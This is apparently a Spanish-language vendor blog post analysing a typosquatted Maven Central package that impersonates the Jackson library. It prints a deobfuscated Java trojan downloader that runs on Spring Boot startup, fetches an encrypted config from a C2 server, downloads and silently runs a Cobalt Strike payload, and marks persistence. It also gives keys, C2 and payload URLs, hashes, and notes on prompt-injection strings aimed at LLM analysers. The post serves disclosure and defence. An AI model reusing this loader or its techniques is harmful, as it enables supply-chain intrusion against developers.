Aikido

Primer malware sofisticado descubierto en Maven Central a través de un ataque de typosquatting en Jackson

Charlie EriksenCharlie Eriksen
|
#

Hoy, nuestro equipo ha identificado un paquete malicioso (org.fasterxml.jackson.core/jackson-databind) en Maven Central, haciéndose pasar por una extensión legítima de la biblioteca Jackson JSON. Es bastante novedoso, y es la primera vez que detectamos un malware tan sofisticado en Maven Central. Curiosamente, este cambio de enfoque hacia Maven se produce en un momento en el que otros ecosistemas, como npm, están reforzando activamente sus defensas. Dado que rara vez hemos visto ataques en este ecosistema, queríamos documentarlo para que la comunidad en general pueda unirse y proteger el ecosistema mientras este problema aún se encuentra en sus inicios.

Los atacantes han hecho todo lo posible para crear una carga útil en varias etapas, con cadenas de configuración cifradas, un servidor de comando y control remoto que entrega ejecutables específicos para cada plataforma y múltiples capas de ofuscación diseñadas para frustrar el análisis. El typosquatting opera en dos niveles: el paquete malicioso utiliza el org.fasterxml.jackson.core espacio de nombres, mientras que la biblioteca legítima de Jackson se publica bajo com.fasterxml.jackson.core. Esto refleja el dominio C2: fasterxml.org frente al real fasterxml.com. El .com con .org El intercambio es lo suficientemente sutil como para pasar una inspección superficial, pero está totalmente controlado por el atacante.

En este momento, hemos informado del dominio a GoDaddy y del paquete a Maven Central. El paquete fue retirado en menos de una hora y media. 

El malware de un vistazo

Cuando abrimos el .jar archivo, vimos este desastre:

Uf, ¿qué está pasando aquí? ¡Me mareo solo con mirarlo!

  • Está muy ofuscado, como es evidente.
  • Contiene intentos de engañar a los analizadores basados en LLM mediante nuevas llamadas a String() con inyección de prompts.
  • Cuando se ve en un editor que no escape los caracteres escape , muestra mucho ruido.

Pero no temas, con un poco de ayuda, podemos descifrarlo y convertirlo en algo mucho más legible:

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Flujo de malware

A continuación se ofrece una descripción general del funcionamiento del malware:

Etapa 0: Infección. Un desarrollador añade la dependencia maliciosa a su pom.xml, creyendo que se trata de una extensión legítima de Jackson. El paquete utiliza el org.fasterxml.jackson.core namespace, igual que la biblioteca Jackson real, para parecer fiable.

Etapa 1: Ejecución automática. Cuando se inicia la aplicación Spring Boot, Spring busca @Configuración clases y hallazgos Configuración automática de JacksonSpring. El @ConditionalOnClass({ApplicationRunner.class}) comprobación de pases (Ejecutor de aplicaciones siempre está presente en Spring Boot), por lo que Spring registra la clase como un bean. El malware Ejecutor de aplicaciones Se invoca automáticamente después de que se carga el contexto de la aplicación. No se requieren llamadas explícitas.

Etapa 2: Comprobación de persistencia. El malware busca un archivo llamado .idea.pid en el directorio de trabajo. Este nombre de archivo se ha elegido deliberadamente para que se integre con los archivos de proyecto de IntelliJ IDEA. Si el archivo existe, el malware asume que ya se está ejecutando y se cierra silenciosamente.

Etapa 3: Huella ambiental. El malware detecta el sistema operativo comprobando System.getProperty("os.name") y comparando con ganar, mac/darwin, y nux/linux.

Etapa 4: Contacto C2. El malware se dirige a http://m.fasterxml[.]org:51211/config.txt, un dominio typosquatted que imita al legítimo fasterxml.comLa respuesta contiene líneas cifradas con AES, una por cada plataforma compatible.

Etapa 5: Entrega de la carga útil. Cada línea de la configuración se descifra utilizando AES-ECB con una clave codificada (9237527890923496). El formato es os|url, por ejemplo, estos valores que encontramos al revertir el malware:

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

El malware selecciona la URL que coincide con el sistema operativo detectado y descarga el binario en el directorio temporal del sistema como carga útil.bin.

Etapa 6: Ejecución. En los sistemas Unix, el malware se ejecuta chmod +x en la carga útil. A continuación, ejecuta el binario con stdout/stderr redirigido a /dev/null (Unix) o NUL (Windows) para suprimir cualquier salida. La carga útil de Windows se denomina svchosts.exe, un typosquat deliberado del legítimo svchost.exe proceso.

Etapa 7: Persistencia. Por último, el malware crea el .idea.pid archivo marcador para evitar que se vuelva a ejecutar al reiniciar la aplicación.

El dominio

El dominio typosquatted fasterxml.org Se registró el 17 de diciembre de 2025, solo ocho días antes de nuestro análisis. Los registros WHOIS muestran que se registró a través de GoDaddy y se actualizó el 22 de diciembre, lo que sugiere un desarrollo activo de la infraestructura maliciosa en los días previos a su implementación.

El breve intervalo entre el registro del dominio y su uso activo es un patrón habitual en las campañas de malware: los atacantes ponen en marcha la infraestructura poco antes de la implementación para minimizar las posibilidades de detección y bloqueo. La biblioteca legítima de Jackson ha operado en fasterxml.com durante más de una década, haciendo que el .org variante una suplantación de identidad que requiere poco esfuerzo y ofrece grandes beneficios.

Los binarios

Recuperamos los binarios y los enviamos a VirusTotal para su análisis:

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

La carga útil de Linux/macOS se identifica sistemáticamente como una baliza Cobalt en prácticamente todos los proveedores de detección. Cobalt es una herramienta comercial de pruebas de penetración que ofrece capacidades completas de comando y control: acceso remoto, recopilación de credenciales, movimiento lateral y despliegue de cargas útiles. Aunque está diseñada para su uso legítimo por parte de equipos rojos, las versiones filtradas la han convertido en la favorita de los operadores de ransomware y los grupos APT. Su presencia suele indicar la presencia de adversarios sofisticados con intenciones que van más allá de la simple minería de criptomonedas.

Oportunidades para que Maven Central proteja el ecosistema

Este ataque pone de relieve la oportunidad de reforzar la forma en que los registros de paquetes gestionan la apropiación indebida de espacios de nombres. Otros ecosistemas ya han tomado algunas medidas para abordar este problema, y Maven Central podría beneficiarse de defensas similares.

El problema del intercambio de prefijos: Este ataque aprovechó un punto ciego específico: los intercambios de prefijos de estilo TLD en la convención de espacio de nombres de dominio inverso de Java. La biblioteca legítima de Jackson utiliza com.fasterxml.jackson.core, mientras que el paquete malicioso utilizado org.fasterxml.jackson.core. Esto es directamente análogo al typosquatting de dominios (fasterxml.com vs. fasterxml.org), pero Maven Central parece no disponer actualmente de ningún mecanismo para detectarlo.

Se trata de un ataque sencillo, y esperamos que haya imitadores.. La técnica que se muestra aquí: intercambio com. para org. en el espacio de nombres de una biblioteca popular. Esto requiere una sofisticación mínima. Ahora que este enfoque ha sido documentado, prevemos que otros atacantes intentarán intercambios de prefijos similares contra otras bibliotecas de gran valor. El momento de implementar defensas es ahora, antes de que esto se convierta en un patrón generalizado.

Dada la simplicidad y eficacia de este ataque de intercambio de prefijos, instamos a Maven Central a que considere implementar:

  • Detección de similitud de prefijos. Cuando se publica un nuevo paquete en org.ejemplo, comprueba si com.ejemplo o net.ejemplo ya existe con un volumen de descargas significativo. Si es así, marcar para revisión. La misma lógica debería aplicarse a la inversa y en todos los TLD comunes (`com, org, net, io, dev`).
  • Protección de paquetes popular. Mantener una lista de espacios de nombres de alto valor (como com.fasterxml, com.google, org.apache) y requieren una verificación adicional para cualquier paquete publicado bajo espacios de nombres similares.

Compartimos este análisis con espíritu de colaboración. El ecosistema Java ha sido un refugio relativamente seguro frente a los ataques a la cadena de suministro han afectado a npm y PyPI en los últimos años. Tomar medidas proactivas ahora puede ayudar a que siga siendo así.

COI

Dominios:

  • fasterxml[.]org
  • m.fasterxml[.]org

Direcciones IP:

  • 103.127.243[.]82

URL:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binarios:

  • Carga útil de Windows (svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • Carga útil de macOS (actualización): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.